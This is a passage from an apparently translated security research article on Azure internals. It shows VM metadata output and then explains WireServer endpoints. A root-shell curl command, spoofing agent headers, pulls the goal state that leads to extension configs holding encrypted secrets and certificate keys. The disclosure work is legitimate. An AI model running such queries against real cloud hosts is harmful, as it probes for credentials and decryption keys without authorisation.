26px;">&#34;publisher&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;MicrosoftWindowsServer&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;resourceGroupName&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;eastus-cdb-ms-prod-eastus1-cs1&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;resourceId&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;/subscriptions/[REDACTED]/resourceGroups/eastus-cdb-ms-prod-eastus1-cs1/providers/Microsoft.Compute/virtualMachineScaleSets/CV2CW02/virtualMachines/3&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;securityProfile&#34;</span>: {      <span style="color: #D69D85;line-height: 26px;">&#34;secureBootEnabled&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;false&#34;</span>,      <span style="color: #D69D85;line-height: 26px;">&#34;virtualTpmEnabled&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;false&#34;</span>    },    <span style="color: #D69D85;line-height: 26px;">&#34;sku&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;datacenter-core-2004-with-containers-smalldisk&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;storageProfile&#34;</span>: {      <span style="color: #D69D85;line-height: 26px;">&#34;dataDisks&#34;</span>: [        {          <span style="color: #D69D85;line-height: 26px;">&#34;caching&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;None&#34;</span>,          <span style="color: #D69D85;line-height: 26px;">&#34;createOption&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;Empty&#34;</span>,          <span style="color: #D69D85;line-height: 26px;">&#34;diskSizeGB&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;128&#34;</span>,          <span style="color: #D69D85;line-height: 26px;">&#34;image&#34;</span>: {            <span style="color: #D69D85;line-height: 26px;">&#34;uri&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;&#34;</span>          },          <span style="color: #D69D85;line-height: 26px;">&#34;lun&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;0&#34;</span>,          <span style="color: #D69D85;line-height: 26px;">&#34;managedDisk&#34;</span>: {            <span style="color: #D69D85;line-height: 26px;">&#34;id&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;/subscriptions/[REDACTED]/resourceGroups/EASTUS-CDB-MS-PROD-EASTUS1-CS1/providers/Microsoft.Compute/disks/CV2CW02_CV2CW02_3_disk2_[REDACTED]&#34;</span>,            <span style="color: #D69D85;line-height: 26px;">&#34;storageAccountType&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;Premium_LRS&#34;</span>          },          <span style="color: #D69D85;line-height: 26px;">&#34;name&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;CV2CW02_CV2CW02_3_disk2_[REDACTED]&#34;</span>,          <span style="color: #D69D85;line-height: 26px;">&#34;vhd&#34;</span>: {            <span style="color: #D69D85;line-height: 26px;">&#34;uri&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;&#34;</span>          },          <span style="color: #D69D85;line-height: 26px;">&#34;writeAcceleratorEnabled&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;false&#34;</span>        }      ],      <span style="color: #D69D85;line-height: 26px;">&#34;imageReference&#34;</span>: {        <span style="color: #D69D85;line-height: 26px;">&#34;id&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;&#34;</span>,        <span style="color: #D69D85;line-height: 26px;">&#34;offer&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;WindowsServer&#34;</span>,        <span style="color: #D69D85;line-height: 26px;">&#34;publisher&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;MicrosoftWindowsServer&#34;</span>,        <span style="color: #D69D85;line-height: 26px;">&#34;sku&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;datacenter-core-2004-with-containers-smalldisk&#34;</span>,        <span style="color: #D69D85;line-height: 26px;">&#34;version&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;19041.985.2105050408&#34;</span>      },      <span style="color: #D69D85;line-height: 26px;">&#34;osDisk&#34;</span>: {        <span style="color: #D69D85;line-height: 26px;">&#34;caching&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;ReadOnly&#34;</span>,        <span style="color: #D69D85;line-height: 26px;">&#34;createOption&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;FromImage&#34;</span>,        <span style="color: #D69D85;line-height: 26px;">&#34;diffDiskSettings&#34;</span>: {          <span style="color: #D69D85;line-height: 26px;">&#34;option&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;&#34;</span>        },        <span style="color: #D69D85;line-height: 26px;">&#34;diskSizeGB&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;30&#34;</span>,        <span style="color: #D69D85;line-height: 26px;">&#34;encryptionSettings&#34;</span>: {          <span style="color: #D69D85;line-height: 26px;">&#34;enabled&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;false&#34;</span>        },        <span style="color: #D69D85;line-height: 26px;">&#34;image&#34;</span>: {          <span style="color: #D69D85;line-height: 26px;">&#34;uri&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;&#34;</span>        },        <span style="color: #D69D85;line-height: 26px;">&#34;managedDisk&#34;</span>: {          <span style="color: #D69D85;line-height: 26px;">&#34;id&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;/subscriptions/[REDACTED]/resourceGroups/eastus-cdb-ms-prod-eastus1-cs1/providers/Microsoft.Compute/disks/CV2CW02_CV2CW02_3_OsDisk_1_[REDACTED]&#34;</span>,          <span style="color: #D69D85;line-height: 26px;">&#34;storageAccountType&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;Premium_LRS&#34;</span>        },        <span style="color: #D69D85;line-height: 26px;">&#34;name&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;CV2CW02_CV2CW02_3_OsDisk_1_[REDACTED]&#34;</span>,        <span style="color: #D69D85;line-height: 26px;">&#34;osType&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;Windows&#34;</span>,        <span style="color: #D69D85;line-height: 26px;">&#34;vhd&#34;</span>: {          <span style="color: #D69D85;line-height: 26px;">&#34;uri&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;&#34;</span>        },        <span style="color: #D69D85;line-height: 26px;">&#34;writeAcceleratorEnabled&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;false&#34;</span>      },      <span style="color: #D69D85;line-height: 26px;">&#34;resourceDisk&#34;</span>: {        <span style="color: #D69D85;line-height: 26px;">&#34;size&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;4096000&#34;</span>      }    },    <span style="color: #D69D85;line-height: 26px;">&#34;subscriptionId&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;[REDACTED]&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;tags&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;federationName:cdb-ms-prod-eastus1-cs1;platformsettings.host_environment.service.platform_optedin_for_rootcerts:true&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;tagsList&#34;</span>: [      {        <span style="color: #D69D85;line-height: 26px;">&#34;name&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;federationName&#34;</span>,        <span style="color: #D69D85;line-height: 26px;">&#34;value&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;cdb-ms-prod-eastus1-cs1&#34;</span>      },      {        <span style="color: #D69D85;line-height: 26px;">&#34;name&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;platformsettings.host_environment.service.platform_optedin_for_rootcerts&#34;</span>,        <span style="color: #D69D85;line-height: 26px;">&#34;value&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;true&#34;</span>      }    ],    <span style="color: #D69D85;line-height: 26px;">&#34;userData&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;version&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;19041.985.2105050408&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;vmId&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;[REDACTED]&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;vmScaleSetName&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;CV2CW02&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;vmSize&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;SQLG5_NP80s&#34;</span>,    <span style="color: #D69D85;line-height: 26px;">&#34;zone&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;&#34;</span>  },  <span style="color: #D69D85;line-height: 26px;">&#34;network&#34;</span>: {    <span style="color: #D69D85;line-height: 26px;">&#34;interface&#34;</span>: [      {        <span style="color: #D69D85;line-height: 26px;">&#34;ipv4&#34;</span>: {          <span style="color: #D69D85;line-height: 26px;">&#34;ipAddress&#34;</span>: [            {              <span style="color: #D69D85;line-height: 26px;">&#34;privateIpAddress&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;10.0.1.60&#34;</span>,              <span style="color: #D69D85;line-height: 26px;">&#34;publicIpAddress&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;&#34;</span>            }          ],          <span style="color: #D69D85;line-height: 26px;">&#34;subnet&#34;</span>: [            {              <span style="color: #D69D85;line-height: 26px;">&#34;address&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;10.0.1.0&#34;</span>,              <span style="color: #D69D85;line-height: 26px;">&#34;prefix&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;24&#34;</span>            }          ]        },        <span style="color: #D69D85;line-height: 26px;">&#34;ipv6&#34;</span>: {          <span style="color: #D69D85;line-height: 26px;">&#34;ipAddress&#34;</span>: []        },        <span style="color: #D69D85;line-height: 26px;">&#34;macAddress&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;[REDACTED]&#34;</span>      }    ]  }</p></pre><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>访问禁止的 IP 地址 #3 – WireServer</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">google IP地址 168.63.129.16后，我们发现它是存在于每个<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure VM</p>上的虚拟 IP 地址，称为<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">WireServer</p>：</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.5212962962962963" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=196308e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhveeHLFM2ZD1liackbvRqZbibuibboetcG8bQBr3806KYEDHBA6QD4IU9Q%2F640%3Fwx_fmt%3Dother"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">微软几乎不提供<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">WireServer</p>的官方文档。然而， <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Intezer</p>的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Paul Litvak</p>在研究它方面做得非常出色！查看他的博客文章 ，了解过去涉及<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure WireServer</p>的漏洞。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">我们了解到<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">WireServer</p>管理<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p>中<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VM</p>的各个方面和功能，特别是每个<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure VM</p>的扩展。扩展是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p>管理的软件应用程序，可以是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p>的日志分析代理等第一方软件，也可以是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p>支持的第三方软件，如<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Datadog</p>。显然，为了安装和配置这些扩展，所有<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure VM</p>都预装了两个代理之一，一个用于<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Windows</p>，一个用于<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Linux</p>。您可以将<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">WireServer</p>视为这些代理的后端，用于提供代理正常运行所需的任何信息。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">回到适用于<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Linux 的 WireServer</p>代理，也称为<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">WA-Agent</p>或<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">WA-Linux-Agent</p>，我们意识到它是一个托管在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">GitHub</p>上的开源项目<a href="https://github.com/Azure/WALinuxAgent" target="_blank">https://github.com/Azure/WALinuxAgent</a> 。因此，我们深入研究源代码以了解有关<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">WireServer</p>功能的更多信息。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>了解 WireServer</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">可以使用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">HTTP</p>查询<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">WireServer</p>，它有几个对我们的研究很有意义的端点：</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">1.<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Goal state</p>: 本质上，代理需要查询端点的目录以获取不同的配置设置。可以下载任何<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure VM</p>目标状态，以通过执行一个简单的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">cURL</p>命令来获取特定于虚拟机的所有配置端点，如下面的代码片段所示。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">2.<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ExtensionsConfig</p>:顾名思义，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ExtensionsConfig</p>存储有关安装在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VM</p>上的所有扩展的信息。有时，这些配置包含敏感信息，例如硬编码密码或密钥，并且这些信息是加密的。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">3.<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Certificates</p>:在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ExtensionsConfig</p>中存储用于解密加密段的加密密钥。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">为了获得关于我们机器的扩展的信息，我们首先执行了一个<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">cURL</p>命令来获取机器的目标状态。结果是底层虚拟机目标状态，包括它的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ExtensionsConfig URL</p>，我们随后也对其进行了查询。</div><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><strong style="color: rgb(119, 48, 152);">查询目标状态</strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">root@notebook:/home/cosmosuser<span style="color: #57A64A;font-style: italic;line-height: 26px;"># curl -s &#34;<a href="http://168.63.129.16:80/machine/?comp=goalstate" target="_blank">http://168.63.129.16:80/machine/?comp=goalstate</a>&#34; -H &#34;x-ms-agent-name: WALinuxAgent&#34; -H &#34;x-ms-version: 2012-11-30&#34;</span>&lt;?xml version=<span style="color: #D69D85;line-height: 26px;">&#34;1.0&#34;</span> encoding=<span style="color: #D69D85;line-height: 26px;">&#34;utf-8&#34;</span>?&gt;&lt;GoalState xmlns:xsi=<span style="color: #D69D85;line-height: 26px;">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span> xsi:noNamespaceSchemaLocation=<span style="color: #D69D85;line-height: 26px;">&#34;goalstate10.xsd&#34;</span>&gt;  &lt;Version&gt;2012-11-30&lt;/Version&gt;  &lt;Incarnation&gt;19&lt;/Incarnation&gt;  &lt;Machine&gt;    &lt;ExpectedState&gt;Started&lt;/ExpectedState&gt;    &lt;StopRolesDeadlineHint&gt;300000&lt;/StopRolesDeadlineHint&gt;    &lt;LBProbePorts&gt;      &lt;Port&gt;16001&lt;/Port&gt;    &lt;/LBProbePorts&gt;    &lt;ExpectHealthReport&gt;FALSE&lt;/ExpectHealthReport&gt;  &lt;/Machine&gt;  &lt;Container&gt;    &lt;ContainerId&gt;82daf2f0-1c7a-45e5-9be6-&lt;REDACTED&gt;&lt;/ContainerId&gt;    &lt;RoleInstanceList&gt;      &lt;RoleInstance&gt;        &lt;InstanceId&gt;f2a6f11f-ad20-4bb3-839f-&lt;REDACTED&gt;._CV2FI02_0&lt;/InstanceId&gt;        &lt;State&gt;Started&lt;/State&gt;        &lt;Configuration&gt;          &lt;HostingEnvironmentConfig&gt;<a href="http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-" target="_blank">http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-</a>&lt;REDACTED&gt;/f2a6f11f%2Dad20%2D4bb3%2D839f%&lt;REDACTED&gt;.%5FCV2FI02%5F0?comp=config&amp;amp;<span style="color: #4EC9B0;line-height: 26px;">type</span>=hostingEnvironmentConfig&amp;amp;incarnation=19&lt;/HostingEnvironmentConfig&gt;          &lt;SharedConfig&gt;<a href="http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-" target="_blank">http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-</a>&lt;REDACTED&gt;/f2a6f11f%2Dad20%2D4bb3%2D839f%&lt;REDACTED&gt;.%5FCV2FI02%5F0?comp=config&amp;amp;<span style="color: #4EC9B0;line-height: 26px;">type</span>=sharedConfig&amp;amp;incarnation=19&lt;/SharedConfig&gt;          &lt;ExtensionsConfig&gt;<a href="http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-" target="_blank">http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-</a>&lt;REDACTED&gt;/f2a6f11f%2Dad20%2D4bb3%2D839f%&lt;REDACTED&gt;.%5FCV2FI02%5F0?comp=config&amp;amp;<span style="color: #4EC9B0;line-height: 26px;">type</span>=extensionsConfig&amp;amp;incarnation=19&lt;/ExtensionsConfig&gt;          &lt;FullConfig&gt;<a href="http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-" target="_blank">http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-</a>&lt;REDACTED&gt;/f2a6f11f%2Dad20%2D4bb3%2D839f%&lt;REDACTED&gt;.%5FCV2FI02%5F0?comp=config&amp;amp;<span style="color: #4EC9B0;line-height: 26px;">type</span>=fullConfig&amp;amp;incarnation=19&lt;/FullConfig&gt;          &lt;Certificates&gt;<a href="http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-" target="_blank">http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-</a>&lt;REDACTED&gt;/f2a6f11f%2Dad20%2D4bb3%2D839f%&lt;REDACTED&gt;.%5FCV2FI02%5F0?comp=certificates&amp;amp;incarnation=19&lt;/Certificates&gt;          &lt;ConfigName&gt;f2a6f11f-ad20-4bb3-839f-&lt;REDACTED&gt;.20.f2a6f11f-ad20-4bb3-839f-&lt;REDACTED&gt;.20._CV2FI02_0.1.xml&lt;/ConfigName&gt;        &lt;/Configuration&gt;        &lt;ServiceManagementInfo&gt;          &lt;SupportedVersions&gt;<a href="http://168.63.129.16:80/ServiceManagement/?comp=versions" target="_blank">http://168.63.129.16:80/ServiceManagement/?comp=versions</a>&lt;/SupportedVersions&gt;          &lt;ManagementInfo&gt;<a href="http://168.63.129.16:80/ServiceManagement/82daf2f0-1c7a-45e5-9be6-" target="_blank">http://168.63.129.16:80/ServiceManagement/82daf2f0-1c7a-45e5-9be6-</a>&lt;REDACTED&gt;/f2a6f11f%2Dad20%2D4bb3%2D839f%&lt;REDACTED&gt;.%5FCV2FI02%5F0?comp=ManagementInfo&lt;/ManagementInfo&gt;        &lt;/ServiceManagementInfo&gt;      &lt;/RoleInstance&gt;    &lt;/RoleInstanceList&gt;  &lt;/Container&gt;</p></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><strong style="color: rgb(119, 48, 152);">获取扩展配置</strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">root@notebook:/home/cosmosuser<span style="color: #57A64A;font-style: 